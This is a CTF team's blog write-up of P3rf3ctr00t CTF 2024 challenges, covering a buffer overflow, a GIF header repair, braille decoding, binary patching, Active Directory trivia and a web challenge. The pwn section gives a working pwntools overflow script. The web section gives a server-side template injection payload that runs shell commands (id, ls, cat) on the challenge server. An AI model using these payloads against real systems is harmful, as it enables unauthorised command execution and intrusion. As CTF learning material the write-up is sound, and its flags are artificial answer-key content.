Post

P3rf3ctr00t CTF

P3rf3ctr00t CTF Writeups

Hey guys and welcome back to yet another blog post where we’ll be sharing our thought process on challenges solved by our team in the P3rf3ctr00t CTF 2024. This was a fun 48hr CTF organized by P3rf3ctr00t Team. Due to team size limits, we split into several teams where we scored as follows:

TeamPosition
Pwnus3
PwnusB10
PwnusD43

image

This was a good start for our team being a local CTFs as first timers 😜. Anyway, with that said, lets get started.


Pwn

Flow

Description

Be like water

nc 94.72.112.248 7001

Challenge Author: Dexter

Solved by: Shol1m


File Analysis

First I started by checking the file type using file command

1
flow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=22e8e3a51853e485e3a36c1d5f95446782c30fee, for GNU/Linux 3.2.0, not stripped

From the output, the file is an ELF 64-bit, dynamically linked, and not stripped. It is built for the x86-64 architecture. Next, I executed the binary to observe its behavior.

File Execution

Upon execution, the binary prompts for user input and exits without any notable action after supplying dummy text. This behavior suggests hidden functionality, so I disassembled the binary using Ghidra. The disassembly revealed three key functions: main, vulnerable, and win.

functions

The main function calls the vulnerable() function, which can call the win() function if specific conditions are met.

Vulnerable()

The vulnerable() function accepts user input stored in a 60-byte buffer. It does not validate the input size, leaving it susceptible to buffer overflow.

vulnerable_function

Within this function:

  • A variable local_c is initialized to 0xc (12 in decimal).
  • The program compares local_c to 0x34333231 (hexadecimal for “1234” in ASCII, or 4321 in decimal).

Under normal execution, this condition is never satisfied because local_c is initially set to 12. However, exploiting the buffer overflow allows us to overwrite local_c with the target value (0x34333231), triggering the win() function.

win()

I proceeded to analyse the win function.

win_function

The win() function reads the contents of flag.txt and prints it to the screen. If the file is missing, an error message is displayed.

Exploitation

To retrieve the flag, we need to:

  1. Overflow the buffer.
  2. Overwrite local_c with the value 0x34333231 (corresponding to the ASCII string “1234”).

Using pwntools

Here’s the Python script for the exploit using pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

def main():
    host = "94.72.112.248"
    port = 7001

    offset = 60
    target_value = 0x34333231  # Value to overwrite `local_c` ("1234" in ASCII)

    # Payload
    payload = b"A" * offset + p32(target_value)

    try:
        conn = remote(host, port)
      
        conn.sendline(payload)

        response = conn.recvall()
        print(f"[+] Response:\n{response.decode().strip()}")

        conn.close()
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    main()

Running the script successfully retrieves the flag:

1
2
3
4
5
6
└─$ python3 sol.py 
[+] Opening connection to 94.72.112.248 on port 7001: Done
[+] Receiving all data: Done (72B)
[*] Closed connection to 94.72.112.248 port 7001
[+] Response:
Enter a text please: Your flag is - r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}

Manual exploitation

To exploit manually:

  1. Use pwn cyclic 60 to generate a 60-character pattern.
  2. Append "1234" to create the payload:
1
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaa1234
  1. Send the payload to the server:
1
2
3
└─$ nc 94.72.112.248 7001               
Enter a text please: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaa1234
Your flag is - r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}

Flag

The retrieved flag is:

r00t{fl0w_0f_c0ntr0l_3ngag3d_7391}

In the vulnerable program, the variable local_c is compared against the value 0x34333231. This is the hexadecimal representation of the ASCII string "1234". When overwriting memory, the bytes are written in little-endian format because the system uses the x86-64 architecture, which is little-endian by default.

In little-endian systems:

  • The least significant byte (LSB) is stored first in memory.
  • For 0x34333231, the bytes are stored as:
    1
    
    31 32 33 34
    

    which corresponds to the ASCII characters:

    1
    
    "1" "2" "3" "4"
    

Thus, to overwrite local_c with 0x34333231, the payload must contain "1234" in the correct byte order. If we naively sent "4321", the bytes would be stored in reverse order (0x31323334), which would fail to meet the condition.

Misc

tGIF

Description

TGIF, but I think I’m either rendering my file wrongly or the dimensions are just off.

Challenge Author: oste_ke

Solved by: Shol1m


File Analysis

The challenge began with a file named tgif that did not have a recognizable file type. Running the file command gave the following output:

1
2
└─$ file tgif        
tgif: data

The file utility could not identify the file type. This hinted that the file might have corrupted or missing magic headers.

Hexadecimal Analysis

To investigate further, I opened the file in hexedit and examined the first few bytes. Here is part of the header:

1
2
3
00000000   47 04 46 38  39 61 90 01  C8 00 F7 00  00 00 00 00  G.F89a..........
00000010   25 1E 25 3A  31 34 3D 43  62 46 3E 48  48 35 32 4E  %.%:14=CbF>HH52N 
00000020   4D 65 4F 3A  34 56 4F 61  57 45 46 5A  3F 38 5E 46  MeO:4VOaWEFZ?8^F

The header did not match any known magic number for standard file types. However, parts of it (47 04 46 38 39 61) resembled the magic header for GIF files, which should be GIF89a. GIF Bits and Bytes guide

Correcting the Magic Header

I replaced the incorrect bytes (47 04) with 47 49 (G and I) to create the proper magic header GIF89a. This allowed the file to be recognized as a GIF image.

1
2
└─$ file tgif 
tgif: GIF image data, version 89a

GIF Integrity Check

After fixing the header, I opened the GIF. It was partially corrupted—the image displayed, but it was incomplete. This suggested that some other fields in the header, such as width or height, were incorrect.

gif1

Modifying the Height

To fix the GIF, I adjusted the height value in the header. I used the online tool RedKetchup GIF Resizer to modify the height and correct the file.

gif2

Flag

After correcting the height, the GIF displayed correctly, revealing the full image showing the flag

r00t{d38252762d3d4fd229faae637fd13f4c}

See Ya

Description

You are a fan of Zines? Well here’s my fav from the 90’s 🙂, he “Hacker’s Manifesto”. Not every one will SEE it, but oh well, good luck.

Of course if you’re SEEing this, here’s the original one: https://phrack.org/issues/7/3.html

Challenge Author: oste_ke

Solved by: b33tl3


Analysis

“Zines are self-published magazines”

From the description, it seems to be a “Hacker’s Manifesto” but encrypted:- “Not every one will SEE it, but oh well, good luck”. We a given a text file, Volume_One_Issue_7_Phile_3_of_10.txt.

Let’s read the file using ‘cat’ command.

image

On reading the file, we see that it is some braille text. We should decode the braille text to readable text.

Solution

Time to do some baking using CyberChef. We can either use CyberChef or dcode. Let’s copy the text and paste it in CyberChef.

We will use ‘From Braille’ as the recipe.

cyberchef

Now we have readable text. Let’s read through the Manifesto.

We find the flag hidden in the text.

image

Boom! Another flag down!

Rev

Pores

Description

P3rf3ctr00t is locked, hidden in the depths of a binary, waiting for a hero to rewrite its fate.

Challenge Author: Ug_pwn

Solved by: Shol1m


File inspection

First i started by determining the file type. The file is a linux 64-bit elf file.

1
2
file poresssss                                                                                                                          
poresssss: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d0a124b3a218c26eb707783fa5f3dc7f0763de88, for GNU/Linux 3.2.0, not stripped

Analysis using Ghidra

For static analysis, I launched ghidra and imported the binary. The binary contains two functions, main() and printFlag().

man_function

printFlag_function

the main function does nothing while the printFlag() take two parameters and calculates the flag.

Analysis with pwndbg

While Ghidra revealed the high-level structure of the binary, it did not show the critical conditional jump (jne) preventing printFlag from being called. This highlights the importance of dynamic analysis tools like pwndbg for a deeper understanding.

I fired up pwndbg with the command pwndbg poresssss. Then disassembled main function to check whats going on there.

disass_main1

Well there is more than i could see with ghidra. There is a condition that prevents printflag from being called.

There is a comparison between 0 and 1 , if the two numbers are not equal, the program jumps to main +41 and printFlag is not called.

The condition (cmp DWORD PTR [rbp-0x4], 0x1) always evaluates as not equal because rbp-0x4 is explicitly set to 0.

Patching the program

To make sure that the program calls the printFlag() function, a patch can be done. Instead of having an operation of jne , a nop (no operation can be placed instead of jne. this ensures that the instruction between main +21 to main +36 are executed.

To patch the program we have to replace jne with nop.

First set a break point at main with the comand break *main then run the binary.

Disassemble main to check the adresses at runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> disass main
Dump of assembler code for function main:
=> 0x0000555555555298 <+0>:	push   rbp
   0x0000555555555299 <+1>:	mov    rbp,rsp
   0x000055555555529c <+4>:	sub    rsp,0x10
   0x00005555555552a0 <+8>:	mov    DWORD PTR [rbp-0x4],0x0
   0x00005555555552a7 <+15>:	cmp    DWORD PTR [rbp-0x4],0x1
   0x00005555555552ab <+19>:	jne    0x5555555552c1 <main+41>
   0x00005555555552ad <+21>:	mov    esi,0x8
   0x00005555555552b2 <+26>:	lea    rax,[rip+0x2d87]        # 0x555555558040 <flag>
   0x00005555555552b9 <+33>:	mov    rdi,rax
   0x00005555555552bc <+36>:	call   0x555555555159 <printFlag>
   0x00005555555552c1 <+41>:	mov    eax,0x0
   0x00005555555552c6 <+46>:	leave
   0x00005555555552c7 <+47>:	ret
End of assembler dump.
pwndbg> 

This can be done by changing the address 0x00005555555552ab and 0x00005555555552ac to 0x90 which is nop.

Two addresses are modified since jne used two bytes of memory for that instruction. Both bytes need to be replaced to avoid leaving stray bytes from the original instruction, which could corrupt the execution flow and cause a crash.

1
2
set {char} 0x00005555555552ab = 0x90 
set {char} 0x00005555555552ab = 0x90

To verify, disasseble main again. This is necessary to ensure the patch is correctly applied before continuing

disass_main2

The continue the program with the command continue

1
2
3
Continuing.
r00t{p4tch_th3_bin_and_h4ve_fun}
[Inferior 1 (process 12780) exited normally]

Key Takeaways

  • Dynamic Analysis Complements Static Analysis: While tools like Ghidra provide a high-level view of a binary, dynamic debugging with pwndbg uncovers critical details like conditional jumps and runtime behavior, making it essential for identifying patching opportunities.
  • Patching with NOP Simplifies Control Flow: Replacing conditional jumps (jne) with NOP is an effective way to bypass checks, allowing the program to execute blocked code segments like printFlag().

Web

template_me

Description

Do not fuzz the infra, it is unethical

Access the instance at :

1
http://94.72.112.248:10010/

Challenge Author: f0rk3b0mb

Solved by: Mystique


First step was to create an account and log in

image

Next, we check if this site is vulnerable to SSTI (Server-Side Template Injection) using the following payload.

1
http://94.72.112.248:10010/dashboard?username={{7*7}}

It returns a value of 49, showing that the site is indeed vulnerable to SSTI.

image

We the proceed to the github directory “PayloadAllThings” where we find the following python payload.

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

image

So we proceed to apply it after URL encoding it on CyberChef. We are able to run the id command successfully.

1
http://94.72.112.248:10010/dashboard?username={{%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27id%27).read()%20}}

image

We can modify it to list files in the current directory:

1
http://94.72.112.248:10010/dashboard?username={{%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27ls%27).read()%20}}

image

We don’t get anything important. So we proceed to list files in the root directory. Here, we can see a file called flag8c77374df5.txt. This is our flag file.

1
http://94.72.112.248:10010/dashboard?username=%7B%7B%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27ls%20%20/%27).read()%20%7D%7D

image

So we now modify the payload to show the contents of that flag file. We get our flag.

1
http://94.72.112.248:10010/dashboard?username={{%20self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20/flag8c77374df5.txt%27).read()%20}}

image

r00t{5923df1bc0af185e7fb2ce7a7}

OSINT

Grandpas

Description

We lay the groundwork for blockchain. Hope you know our names. Flag format r00t{Xxxxx_Xxxxxxx_Xxxxx} xxxxx is the last name.

Challenge Author: c0deg33k

Solved by: m3tadr0id


Initial Thoughts

At first glance, this challenge seems to be a history lesson on blockchain. Spoiler alert: it’s not about Satoshi Nakamoto. Time to dig into the foundations of this revolutionary technology and find the real “grandpas” behind the scenes.

Solution

  • Reconnaissance
    I started by checking the Wikipedia page for blockchain, which seemed like the most obvious source. Sure enough, the first section mentioned the key contributors.

  • Analysis

    • Stuart Haber and W. Scott Stornetta introduced the concept of a secure chain of blocks in 1991.
    • In 1992, Dave Bayer joined the team to enhance the design, completing the blockchain pioneers’ trio.
    • These three are widely credited with laying the foundations of what would later become blockchain technology.

Grandpas-Perfectroot

r00t{Haber_Stornetta_Bayer}

Adversary Within - Part 1

Description

Each and every one of you has interacted with and, perhaps unknowingly, exploited me by using “……roasts.” Well, I can’t blame you—as the backbone connecting users and resources in every environment, I’m everywhere, supporting every interaction. But do you truly understand what makes me tick?

I challenge you to explore my inner workings and answer this: Do you really know me?

Q1: What are my rules called?

Challenge Author: He who must not be named

Solved by: m3tadr0id


Initial Thoughts

The description clearly points to something foundational in IT infrastructure, likely Active Directory (AD), given its role as the “backbone” of user and resource interaction in environments as with the rest of the Adversary within series.

Solution

  • Research and Reconnaissance
    I started by focusing on the hint that these “rules” are what make AD “tick.” Searching Microsoft’s documentation on Active Directory led me to this article on AD basics. It explained the core components of AD, including the schema, which defines the “rules” for how data is stored and accessed.

  • Analysis
    The schema in Active Directory is essentially the blueprint that governs every interaction within the directory. It defines object classes, attributes, and their relationships—basically, the “rules” of the AD game.

r00t{schema}

Adversary Within - Part 2

Description

Sometimes I lose weight to work as a protocol, Get it?

Challenge Author: He who must not be named

Solved by: m3tadr0id


Initial Thoughts

The clue about “losing weight” and “working as a protocol” pointed towards a lightweight protocol. Considering the Active Directory theme, the Lightweight Directory Access Protocol (LDAP) seemed like a perfect fit.

Solution

LDAP is a lightweight protocol that allows access and management of directory information. It’s a critical part of Active Directory as it provides the means to query and modify directory services. The “losing weight” hint cleverly refers to its “lightweight” nature.

r00t{Lightweight_Directory_Access_Protocol}

Adversary Within - Part 3

Description

In as much as I am everywhere, I also need a brain, yet you have to set me up! What do you usually call me?

Challenge Author: He who must not be named

Solved by: m3tadr0id


Solution

The challenge hints at a critical component of Active Directory (AD) that acts as its “brain.” In AD environments, the “brain” responsible for managing authentication, group policies, and more is the Domain Controller (DC). It’s the central nervous system of any AD setup—crucial to operations and always requiring proper configuration.

r00t{Domain Controller}

Adversary Within - Part 4

Description

Now that you know my name, what new platform can I run on?

Challenge Author: He who must not be named

Solved by: m3tadr0id


Solution

This question follows up on the previous one, referring to the Domain Controller. Traditionally, DCs run on Windows Server. With Active Directory continually evolving, the hint points towards the next iteration of Windows Server: Windows Server 2025, which is likely the platform being teased.

r00t{Windows_Server_2025}

More Writeups

More writeups on challenges created by our members oste_ke & winter can be found on their blogs.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.